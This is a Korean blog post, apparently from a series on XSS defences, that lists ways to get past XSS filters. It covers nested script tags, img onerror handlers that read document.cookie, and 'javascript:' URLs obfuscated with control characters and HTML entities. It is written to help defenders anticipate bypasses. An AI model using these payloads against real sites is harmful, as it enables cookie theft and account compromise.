XSS 우회 방법

누군가·2024년 1월 12일
0

XSS 대응 방안

목록 보기
2/5
  • XSS 공격을 방어하기 위한 다양한 패치와 필터링이 존재합니다.
  • 하지만 XSS 방어가 올바르게 수행되지 않을 경우 이를 우회할 수 있는 방법도 다양합니다.
  • 이러한 우회 XSS 공격에 대비할 필요성이 있어서 XSS 우회 방법에 대해 설명합니다.

<script> 문자가 필터링 되어 있는 경우

  • XSS 방어 기법 중에 <script> 태그가 입력되는 것을 방지하기 위해 <script> 문자를 필터링 하는 방식을 활용합니다.
  • 이 방식은 필터링 될 것을 예상하여 이중으로 스크립트를 입력하는 방식입니다.
# XSS 우회 전
스크립트 입력   : <script>alert(document.cookie)</script>
스크립트 필터링 : alert(document.cookie)

# XSS 우회 방식
스크립트 입력   : <scr<script>ipt>alert(document.cookie)</scr<script>ipt>
스크립트 필터링 : <script>alert(document.cookie)</script>
  • <script> 태그가 필터링 될 것을 예상하여, <scr<script>ipt>로 입력하여 내부의 <script>만 필터링 되게 하는 방식입니다.
  • <script> 태그 뿐만 아니라 필터링 되어있는 모든 태그에 대해 적용할 수 있습니다.
    • 예, onerror → ononerrorerror 등

<script> 각 문자 필터링 되어 있는 경우

  • <script>에 해당하는 각 문자가 필터링되어 script 스크립트를 사용할 수 없는 경우
  • 이를 대체하는 다른 스크립트 구문을 입력합니다.
# XSS 우회 방식
<script> 스크립트 입력 : <script>(document.cookie)</script>
<img> 스크립트 입력    : <img src=x onerror=alert(docuemnt.cookie)>
  • <script> 태그를 <img> 태그로 대체하여 같은 기능을 실행하는 구문입니다.
  • <img> 스크립트에서 올바르지 않은 이미지 경로 (src=x)일 경우 에러를 발생시켜 alert를 실행하는 스크립트입니다.

“javascript:” 스키마 필터링 되어 있는 경우

  • javascript: 스키마는 URL 로드 시 자바스크립트 코드를 실행할 수 있기 때문에 “javascript:” 스키마가 필터링 되어 있는 경우
  • 특수 문자를 포함하거나 HTML Entity Encoding을 통해 우회할 수 있습니다.
# 특수 문자를 포함한 우회 (\x01, \x04, \t)
<a href="\1\4jAVasC\triPT:alert()">alert!</a>
<iframe src="\1\4jAVasC\triPT:alert()">

# HTML Entity Encoding을 통한 우회
<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">alert!</a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert();">
  • 위와 같이 “javascript:” 스키마가 필터링 되어 있을 경우 특수 문자 또는 HTML Entity Encoding을 통해 우회할 수 있습니다.

Reference

https://limvo.tistory.com/32

https://lyk00331.tistory.com/81

profile
개발 중에 알게된 내용을 공유합니다 (나도 기억할겸)

0개의 댓글